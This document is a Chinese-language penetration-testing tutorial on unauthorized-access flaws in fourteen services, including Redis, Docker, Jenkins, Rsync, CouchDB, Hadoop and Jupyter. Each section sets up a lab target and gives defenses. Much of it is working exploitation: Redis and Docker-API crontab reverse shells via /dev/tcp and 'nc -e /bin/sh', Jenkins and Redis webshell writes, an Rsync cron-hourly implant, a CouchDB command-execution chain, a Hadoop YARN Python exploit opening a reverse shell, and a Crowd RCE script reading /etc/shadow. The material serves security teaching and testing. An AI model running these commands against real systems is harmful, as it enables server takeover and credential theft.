常見的未授權(quán)訪問漏洞:
- redis 未授權(quán)訪問漏洞
- MongoDB 未授權(quán)訪問漏洞
- Jenkins 未授權(quán)訪問漏洞
- Memcached 未授權(quán)訪問漏洞
- JBOSS 未授權(quán)訪問漏洞
- VNC 未授權(quán)訪問漏洞
- Docker 未授權(quán)訪問漏洞
- ZooKeeper 未授權(quán)訪問漏洞
- Rsync 未授權(quán)訪問漏洞
- Atlassian Crowd 未授權(quán)訪問漏洞
- CouchDB 未授權(quán)訪問漏洞
- Elasticsearch 未授權(quán)訪問漏洞
- Hadoop 未授權(quán)訪問漏洞
- Jupyter Notebook 未授權(quán)訪問漏洞
Redis未授權(quán)訪問漏洞
漏洞簡介以及危害
Redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,如果沒有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認(rèn)證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進(jìn)行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器、添加計(jì)劃任務(wù)、寫入Webshell等操作。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī): centos7
ip地址: 192.168.18.138
連接工具:Xshell
環(huán)境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz

tar xzvf redis-2.8.17.tar.gz #解壓安裝包
cd redis-2.8.17 # 進(jìn)入redis目錄
make #編譯

cd src/ #進(jìn)入src目錄
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進(jìn)入安裝目錄了)
cd .. # 返回上一級目錄
cp redis.conf /etc/ #將redis.conf拷貝到/etc/目錄下
redis-server /etc/redis.conf # 使用/etc/目錄下的redis.conf文件中的配置啟動redis服務(wù)
服務(wù)啟動成功!

服務(wù)啟動成功為了方便,在windows攻擊機(jī)里下載一個(gè)redis clinet下載地址:https://github.com/caoxinyu/RedisClient/releases (利用redis寫webshell測試使用)

下載地址:https://github.com/dmajkic/redis/downloads (利用crontab反彈shell測試使用)

未授權(quán)訪問測試
使用redis clinet 直接無賬號成功登錄redis

從登錄結(jié)果可以看出redis未啟用認(rèn)證。

利用redis寫webshell
利用前提:
靶機(jī)redis未授權(quán),在攻擊機(jī)能用redis clinet連接,如上圖,并未登錄驗(yàn)證
靶機(jī)開啟web服務(wù),并且知道網(wǎng)站路徑,還需要具有文件讀寫增刪改查權(quán)限
靶機(jī)網(wǎng)站路徑:/var/www/html/這里我們調(diào)出Console

由于本地搭建,我們已經(jīng)知道網(wǎng)站路徑,我們把shell寫入/var/www/html/目錄下:
config set dir /var/www/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save




訪問test.php

利用crontab反彈shell
端口監(jiān)聽:在攻擊機(jī)上監(jiān)聽一個(gè)端口(未被占用的任意端口):
nc -lvnp 5555

連接redis,寫入反彈shell
redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "nnn* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1nnn"
config set dbfilename root
save

反彈shell成功!

nmap檢測
nmap -p 6379 --script redis-info <target>
地址:https://svn.nmap.org/nmap/scripts/redis-info.nse

Redis-RCE
最近出的Redis-RCE,該漏洞利用前提是獲取redis訪問權(quán)限,也就是基于redis未授權(quán)訪問。
防御手段
-禁止使用root權(quán)限啟動redis服務(wù)。-對redis訪問啟動密碼認(rèn)證。-添加IP訪問限制,并更改默認(rèn)6379端口。
MongoDB 未授權(quán)訪問漏洞
漏洞簡介以及危害
開啟MongoDB服務(wù)時(shí)不添加任何參數(shù)時(shí),默認(rèn)是沒有權(quán)限驗(yàn)證的,登錄的用戶可以通過默認(rèn)端口無需密碼對數(shù)據(jù)庫任意操作(增、刪、改、查高危動作)而且可以遠(yuǎn)程訪問數(shù)據(jù)庫。 造成未授權(quán)訪問的根本原因就在于啟動 Mongodb 的時(shí)候未設(shè)置 --auth 也很少會有人會給數(shù)據(jù)庫添加上賬號密碼(默認(rèn)空口令),使用默認(rèn)空口令這將導(dǎo)致惡意攻擊者無需進(jìn)行賬號認(rèn)證就可以登陸到數(shù)據(jù)服務(wù)器。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī): Kali
ip地址: 192.168.18.128
連接工具:Xshell
環(huán)境搭建
這里使用docker (https://www.runoob.com/docker/docker-tutorial.html 可自行g(shù)oogle)
docker search mongodb # 從Docker Hub查找鏡像

docker pull mongo #從鏡像倉庫中拉取或者更新指定鏡像

docker images mongo #列出本地主機(jī)上的mongo鏡像

docker run -d -p 27017:27017 --name mongodb mongo # 創(chuàng)建一個(gè)新的容器并運(yùn)行一個(gè)命令
docker ps -a # 顯示所有的容器,包括未運(yùn)行的


未授權(quán)訪問測試
這里使用 NoSQLBooster下載地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe



nmap檢測
nmap -p 27017 --script mongodb-info <target>
地址:http://nmap.org/svn/scripts/mongodb-info.nse

防御手段
-為MongoDB添加認(rèn)證:MongoDB啟動時(shí)添加--auth參數(shù)、為MongoDB添加用戶-MongoDB 自身帶有一個(gè)HTTP服務(wù)和并支持REST接口。在2.6以后這些接口默認(rèn)是關(guān)閉的。mongoDB默認(rèn)會使用默認(rèn)端口監(jiān)聽web服務(wù),一般不需要通過web方式進(jìn)行遠(yuǎn)程管理,建議禁用。修改配置文件或在啟動的時(shí)候選擇 –nohttpinterface 參數(shù) nohttpinterface=false-啟動時(shí)加入?yún)?shù)--bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下內(nèi)容:bind_ip = 127.0.0.1
Jenkins 未授權(quán)訪問漏洞
漏洞簡介以及危害
默認(rèn)情況下 Jenkins面板中用戶可以選擇執(zhí)行腳本界面來操作一些系統(tǒng)層命令,攻擊者可通過未授權(quán)訪問漏洞或者暴力破解用戶密碼等進(jìn)入后臺管理服務(wù),通過腳本執(zhí)行界面從而獲取服務(wù)器權(quán)限。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī): kali
ip地址: 192.168.18.129
連接工具:Xshell
環(huán)境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下載
下載地址:http://mirrors.jenkins.io/
dpkg -i jenkins_1.621_all.deb # 安裝
sudo apt-get -f --fix-missing install # 如果有報(bào)依賴項(xiàng)的錯(cuò)誤時(shí)執(zhí)行

開啟Jenkins服務(wù)
service jenkinis start

瀏覽器訪問http://192.168.18.129:8080/
如下圖所示說明環(huán)境搭建成功

未授權(quán)訪問測試
訪問http://192.168.18.129:8080/manage可以看到?jīng)]有任何限制可以直接訪問

Jenkins未授權(quán)訪問寫shell
點(diǎn)擊“腳本命令執(zhí)行”

執(zhí)行系統(tǒng)命令
println "whoami".execute().text

網(wǎng)站路徑:/var/www/html (需要具備一定的權(quán)限)利用“腳本命令行”寫webshell,點(diǎn)擊運(yùn)行沒有報(bào)錯(cuò),寫入成功
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');

訪問shell.php

更多利用方式可參考:https://www.secpulse.com/archives/2166.html
防御手段
-升級版本。-添加認(rèn)證,設(shè)置強(qiáng)密碼復(fù)雜度及賬號鎖定。-禁止把Jenkins直接暴露在公網(wǎng)。
Memcached 未授權(quán)訪問漏洞
漏洞簡介以及危害
Memcached 是一套常用的 key-value 分布式高速緩存系統(tǒng),由于 Memcached 的安全設(shè)計(jì)缺陷沒有權(quán)限控制模塊,所以對公網(wǎng)開放的Memcache服務(wù)很容易被攻擊者掃描發(fā)現(xiàn),攻擊者無需認(rèn)證通過命令交互可直接讀取 Memcached中的敏感信息。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī): Windows Server 2012
ip地址: 10.0.4.138
連接工具:Xshell
環(huán)境搭建
64位系統(tǒng) 1.4.4版本:http://static.runoob.com/download/memcached-win64-1.4.4-14.zip
解壓壓縮包到指定目錄
使用管理員權(quán)限運(yùn)行以下命令:
memcached.exe -d install

啟動服務(wù):
memcached.exe -d start

查看進(jìn)程服務(wù)以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached

未授權(quán)訪問測試
為了方便測試這里將防火墻關(guān)閉
telnet 10.0.4.138 11211 或 nc -vv <target> 11211
無需用戶名密碼,可以直接連接memcache 服務(wù)的11211端口

stats #查看memcache服務(wù)狀態(tài)

nmap檢測
地址:https://svn.nmap.org/nmap/scripts/memcached-info.nse
nmap -p 11211 --script memcached-info <target>
防御手段
-設(shè)置Memchached只允許本地訪問。-禁止外網(wǎng)訪問Memcached 11211端口。-配置訪問控制策略。-最小化權(quán)限運(yùn)行。-修改默認(rèn)端口等。
JBOSS 未授權(quán)訪問漏洞
漏洞簡介以及危害
JBoss是一個(gè)基于J2EE的開放源代碼應(yīng)用服務(wù)器,代碼遵循LGPL許可,可以在任何商業(yè)應(yīng)用中免費(fèi)使用;JBoss也是一個(gè)管理EJB的容器和服務(wù)器,支持EJB 1.1、EJB 2.0和EJB3規(guī)范。,默認(rèn)情況下訪問 http://ip:8080/jmx-console 就可以瀏覽 JBoss 的部署管理的信息不需要輸入用戶名和密碼可以直接部署上傳木馬有安全隱患。
漏洞利用
環(huán)境介紹
遠(yuǎn)程木馬服務(wù)器: Centos
目標(biāo)靶機(jī): Kali
ip地址: 192.168.18.129
連接工具:Xshell
環(huán)境搭建
這里使用我修改過的docker鏡像
docker search testjboss
docker pull testjboss/jboss:latest
docker images
docker run -p 8080:8080 -d 5661a2e31006



未授權(quán)訪問測試
http://192.168.18.129:8080/jmx-console/ 無需認(rèn)證進(jìn)入控制頁面

利用jboss.deployment部署shell
點(diǎn)擊jboss.deployment進(jìn)入應(yīng)用部署頁面

使用Apache搭建遠(yuǎn)程木馬服務(wù)器

訪問木馬地址http://<ip>/shell.war

成功上傳木馬

訪問http://192.168.18.129:8080/shell/

</ip>
防御手段
-對jmx控制頁面訪問添加訪問驗(yàn)證。-進(jìn)行JMX Console 安全配置。
VNC 未授權(quán)訪問漏洞
漏洞簡介以及危害
VNC 是虛擬網(wǎng)絡(luò)控制臺Virtual Network Console的英文縮寫。它是一款優(yōu)秀的遠(yuǎn)程控制工具軟件由美國電話電報(bào)公司AT&T的歐洲研究實(shí)驗(yàn)室開發(fā)。VNC是基于 UNXI 和 linux 的免費(fèi)開源軟件由 VNC Server 和 VNC Viewer 兩部分組成。VNC 默認(rèn)端口號為 5900、5901。VNC 未授權(quán)訪問漏洞如被利用可能造成惡意用戶直接控制target主機(jī)。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī): Windows Server 2003 Standard Edition
ip地址: 192.168.15.8
環(huán)境搭建
下載地址:https://archive.realvnc.com/download/open/4.0/進(jìn)行安裝(一直下一步即可)


未授權(quán)訪問測試
vncviewer 192.168.15.8

防御手段
-配置 VNC 客戶端登錄口令認(rèn)證并配置符合密碼強(qiáng)度要求的密碼。-以最小普通權(quán)限身份運(yùn)行操作系統(tǒng)。
Docker 未授權(quán)訪問漏洞
漏洞簡介以及危害
Docker 是一個(gè)開源的引擎可以輕松地為任何應(yīng)用創(chuàng)建一個(gè)輕量級的、可移植的、自給自足的容器。開發(fā)者在筆記本上編譯測試通過的容器可以批量地在生產(chǎn)環(huán)境中部署包括 VMs、bare metal、OpenStack 集群和其他的基礎(chǔ)應(yīng)用平臺Docker。 Docker Remote API 是一個(gè)取代遠(yuǎn)程命令行界面(rcli)的REST API。存在問題的版本分別為 1.3 和 1.6因?yàn)闄?quán)限控制等問題導(dǎo)致可以通過 docker client 或者 http 直接請求就可以訪問這個(gè) API,通過這個(gè)接口,我們可以新建 container,刪除已有 container,甚至是獲取宿主機(jī)的 shell。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī): Kali
ip地址: 192.168.15.5
連接工具:Xshell
環(huán)境搭建
# 下載環(huán)境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
#或者利用DownGit下載https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit網(wǎng)址:https://minhaskamal.github.io/DownGit/#/home

chmod 777 docker-entrypoint.sh # 給docker-entrypoint.sh權(quán)限
docker-compose build && docker-compose up -d # 編譯并啟動環(huán)境

未授權(quán)訪問測試
docker -H tcp://192.168.15.5:2375 version

通過crontab反彈宿主機(jī)shell
# vps監(jiān)聽9999端口
nc -lvnp 9999

# 啟動容器
docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps

docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 進(jìn)入容器

echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加計(jì)劃任務(wù)
cat /tmp/root # 查看/tmp/root 文件
exit #退出容器

反彈宿主機(jī)shell

還有其他比如寫入ssh公鑰等利用方式,方式方法都是大同小異的,這里就不再介紹了。
也可以直接利用Python腳本
import docker
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Docker 未授權(quán)訪問漏洞利用腳本[沒試過]
https://github.com/Tycx2ry/docker_api_vul
防御手段
-簡單粗暴的方法,對2375端口做網(wǎng)絡(luò)訪問控制,如ACL控制,或者訪問規(guī)則。-修改docker swarm的認(rèn)證方式,使用TLS認(rèn)證:Overview Swarm with TLS 和 Configure Docker Swarm for TLS這兩篇文檔,說的是配置好TLS后,Docker CLI 在發(fā)送命令到docker daemon之前,會首先發(fā)送它的證書,如果證書是由daemon信任的CA所簽名的,才可以繼續(xù)執(zhí)行。
ZooKeeper 未授權(quán)訪問漏洞
漏洞簡介以及危害
zookeeper是分布式協(xié)同管理工具,常用來管理系統(tǒng)配置信息,提供分布式協(xié)同服務(wù)。Zookeeper的默認(rèn)開放端口是2181。Zookeeper安裝部署之后默認(rèn)情況下不需要任何身份驗(yàn)證,造成攻擊者可以遠(yuǎn)程利用Zookeeper,通過服務(wù)器收集敏感信息或者在Zookeeper集群內(nèi)進(jìn)行破壞(比如:kill命令)。攻擊者能夠執(zhí)行所有只允許由管理員運(yùn)行的命令。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Centos
ip地址:172.16.2.251
連接工具:Xshell
環(huán)境搭建
#搭建環(huán)境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 啟動

未授權(quán)訪問測試
#獲取該服務(wù)器的環(huán)境
echo envi|nc 172.16.2.251 2181

利用zookeeper可視化管理工具進(jìn)行連接下載地址:https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip


防御手段
-修改 ZooKeeper 默認(rèn)端口,采用其他端口服務(wù)。-添加訪問控制,配置服務(wù)來源地址限制策略。-增加 ZooKeeper 的認(rèn)證配置。
Rsync 未授權(quán)訪問漏洞
漏洞簡介以及危害
Rsync(remote synchronize)是一個(gè)遠(yuǎn)程數(shù)據(jù)同步工具,可通過 LAN/WAN 快速同步多臺主機(jī)間的文件,也可以同步本地硬盤中的不同目錄。Rsync 默認(rèn)允許匿名訪問,如果在配置文件中沒有相關(guān)的用戶認(rèn)證以及文件授權(quán),就會觸發(fā)隱患。Rsync 的默認(rèn)端口為 837。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Kali
ip地址:172.16.2.250
連接工具:Xshell
環(huán)境搭建
#利用DownGit下載https://github.com/vulhub/vulhub/tree/master/rsync/common
DownGit網(wǎng)址:https://minhaskamal.github.io/DownGit/#/home

# 上傳文件到靶機(jī)并進(jìn)行解壓
unzip common.zip

# 編譯并啟動docker容器
cd common/
docker-compose build && docker-compose up -d

未授權(quán)訪問測試
#rsync rsync://{target_ip}/
rsync rsync://172.16.2.250:873/
rsync rsync://172.16.2.250:873/src

利用rsync下載任意文件
rsync rsync://172.16.2.250:873/src/etc/passwd ./

利用rsync反彈shell
# 下載crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
該環(huán)境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小時(shí)的第17分鐘執(zhí)行run-parts --report /etc/cron.hourly

# 寫入bash并賦權(quán)
vim nc
chmod 777

# 將文件上傳至/etc/cron.hourly
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly

# 本地監(jiān)聽9999
nc -lnvp 9999

反彈成功。

防御手段
-賬戶認(rèn)證:正確配置認(rèn)證用戶名及密碼。-權(quán)限控制:使用合理的權(quán)限。-網(wǎng)絡(luò)訪問控制:控制接入源ip。-數(shù)據(jù)加密傳輸?shù)?/p>
Atlassian Crowd 未授權(quán)訪問漏洞
漏洞簡介以及危害
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亞Atlassian公司的產(chǎn)品。Atlassian Crowd是一套基于Web的單點(diǎn)登錄系統(tǒng)。該系統(tǒng)為多用戶、網(wǎng)絡(luò)應(yīng)用程序和目錄服務(wù)器提供驗(yàn)證、授權(quán)等功能。Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些發(fā)行版本中錯(cuò)誤地啟用了pdkinstall開發(fā)插件,使其存在安全漏洞。攻擊者利用該漏洞可在未授權(quán)訪問的情況下對Atlassian Crowd和Crowd Data Center安裝任意的惡意插件,執(zhí)行任意代碼/命令,從而獲得服務(wù)器權(quán)限。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Centos
ip地址:192.168.18.138
連接工具:Xshell
環(huán)境搭建
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
unzip atlassian-crowd-3.4.3.zip

cd atlassian-crowd-3.4.3
vim crowd-webApp/WEB-INF/classes/crowd-init.properties

./start_crowd.sh

訪問http://192.168.18.138:8095 點(diǎn)擊Set up Crowd

可以在這里申請?jiān)囉?0天https://my.atlassian.com/products/index 并填寫license進(jìn)行下一步安裝,直到安裝完成。

未授權(quán)訪問測試
進(jìn)行上傳一個(gè)標(biāo)準(zhǔn)的插件,來自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar
curl --form "[email protected]" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v
成功上傳

Atlassian Crowd RCE
漏洞利用腳本github地址:https://github.com/jas502n/CVE-2019-11580
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow

防御手段
-設(shè)置訪問/crowd/admin/uploadplugin.action的源ip。-升級最新版本(3.5.0以上)。
CouchDB 未授權(quán)訪問漏洞
漏洞簡介以及危害
Apache CouchDB是一個(gè)開源數(shù)據(jù)庫,專注于易用性和成為"完全擁抱web的數(shù)據(jù)庫"。它是一個(gè)使用JSON作為存儲格式,JAVAScript作為查詢語言,MapReduce和HTTP作為API的NoSQL數(shù)據(jù)庫。應(yīng)用廣泛,如BBC用在其動態(tài)內(nèi)容展示平臺,Credit Suisse用在其內(nèi)部的商品部門的市場框架,Meebo,用在其社交平臺(web和應(yīng)用程序),默認(rèn)會在5984端口開放Restful的API接口,如果使用SSL的話就會監(jiān)聽在6984端口,用于數(shù)據(jù)庫的管理功能。其HTTP Server默認(rèn)開啟時(shí)沒有進(jìn)行驗(yàn)證,而且綁定在0.0.0.0,所有用戶均可通過API訪問導(dǎo)致未授權(quán)訪問。 在官方配置文檔中對HTTP Server的配置有WWW-Authenticate:Set this option to trigger basic-auth popup on unauthorized requests,但是很多用戶都沒有這么配置,導(dǎo)致漏洞產(chǎn)生。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Kali
ip地址:192.168.18.129
連接工具:Xshell
環(huán)境搭建
mkdir couchdb
wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml

docker-compose up -d

未授權(quán)訪問測試
curl http://192.168.18.129:5984
curl http://192.168.18.129:5984/_config


任意命令執(zhí)行
本機(jī)python運(yùn)行http服務(wù)
python -m SimpleHTTPServer 9999

#依次執(zhí)行如下命令
curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
curl -X PUT 'http://192.168.18.129:5984/vultest'
curl -X PUT 'http://192.168.18.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.18.129:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

成功執(zhí)行

nmap掃描
nmap -p 5984 --script "couchdb-stats.nse" {target_ip}
防御手段
-綁定指定ip。-設(shè)置訪問密碼。
Elasticsearch 未授權(quán)訪問漏洞
漏洞簡介以及危害
ElasticSearch是一個(gè)基于Lucene的搜索服務(wù)器。它提供了一個(gè)分布式多用戶能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java開發(fā)的,并作為Apache許可條款下的開放源碼發(fā)布,是當(dāng)前流行的企業(yè)級搜索引擎。Elasticsearch的增刪改查操作全部由http接口完成。由于Elasticsearch授權(quán)模塊需要付費(fèi),所以免費(fèi)開源的Elasticsearch可能存在未授權(quán)訪問漏洞。該漏洞導(dǎo)致,攻擊者可以擁有Elasticsearch的所有權(quán)限。可以對數(shù)據(jù)進(jìn)行任意操作。業(yè)務(wù)系統(tǒng)將面臨敏感數(shù)據(jù)泄露、數(shù)據(jù)丟失、數(shù)據(jù)遭到破壞甚至遭到攻擊者的勒索。 Elasticsearch服務(wù)普遍存在一個(gè)未授權(quán)訪問的問題,攻擊者通常可以請求一個(gè)開放9200或9300的服務(wù)器進(jìn)行惡意攻擊。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Centos
ip地址:192.168.18.138
連接工具:Xshell
環(huán)境搭建
# elasticsearch需要JDK1.8+
# 創(chuàng)建elasticsearch用戶,elasticsearch不能root執(zhí)行
useradd elasticsearch
passwd elasticsearch
su elasticsearch
#下載環(huán)境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip

# 解壓并啟動
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch

成功安裝

未授權(quán)訪問測試
curl http://localhost:9200/_nodes #查看節(jié)點(diǎn)數(shù)據(jù)
更多利用可以自行搜索一下

防御手段
-訪問控制策略,限制IP訪問,綁定固定IP。-在config/elasticsearch.yml中為9200端口設(shè)置認(rèn)證等。
Hadoop 未授權(quán)訪問漏洞
漏洞簡介以及危害
Hadoop是一個(gè)由Apache基金會所開發(fā)的分布式系統(tǒng)基礎(chǔ)架構(gòu),由于服務(wù)器直接在開放了 Hadoop 機(jī)器 HDFS 的 50070 web 端口及部分默認(rèn)服務(wù)端口,黑客可以通過命令行操作多個(gè)目錄下的數(shù)據(jù),如進(jìn)行刪除,下載,目錄瀏覽甚至命令執(zhí)行等操作,產(chǎn)生極大的危害。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Kali
ip地址:192.168.18.129
連接工具:Xshell
環(huán)境搭建
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
#或者利用DownGit下載https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
DownGit網(wǎng)址:https://minhaskamal.github.io/DownGit/#/home

docker-compose build && docker-compose up -d #編譯并啟動環(huán)境

未授權(quán)訪問測試
訪問 http://192.168.18.129:8088/cluster

通過REST API命令執(zhí)行
利用過程:在本地監(jiān)聽端口 >> 創(chuàng)建Application >> 調(diào)用Submit Application API提交
本地監(jiān)聽9999端口

EXP:
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

反彈成功

防御手段
-如無必要,關(guān)閉 Hadoop Web 管理頁面。-開啟身份驗(yàn)證,防止未經(jīng)授權(quán)用戶訪問。-設(shè)置“安全組”訪問控制策略,將 Hadoop 默認(rèn)開放的多個(gè)端口對公網(wǎng)全部禁止或限制可信任的 IP 地址才能訪問包括 50070 以及 WebUI 等相關(guān)端口。
Jupyter Notebook 未授權(quán)訪問漏洞
漏洞簡介以及危害
Jupyter Notebook(此前被稱為 IPython notebook)是一個(gè)交互式筆記本,支持運(yùn)行 40 多種編程語言。如果管理員未為Jupyter Notebook配置密碼,將導(dǎo)致未授權(quán)訪問漏洞,游客可在其中創(chuàng)建一個(gè)console并執(zhí)行任意Python代碼和命令。
漏洞利用
環(huán)境介紹
目標(biāo)靶機(jī):Kali
ip地址:192.168.18.129
連接工具:Xshell
環(huán)境搭建
wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
docker-compose up -d


未授權(quán)訪問測試
訪問 http://192.168.18.129:8888

利用terminal命令執(zhí)行
New > Terminal 創(chuàng)建控制臺

可以執(zhí)行任意命令

防御手段
-開啟身份驗(yàn)證,防止未經(jīng)授權(quán)用戶訪問。-訪問控制策略,限制IP訪問,綁定固定IP。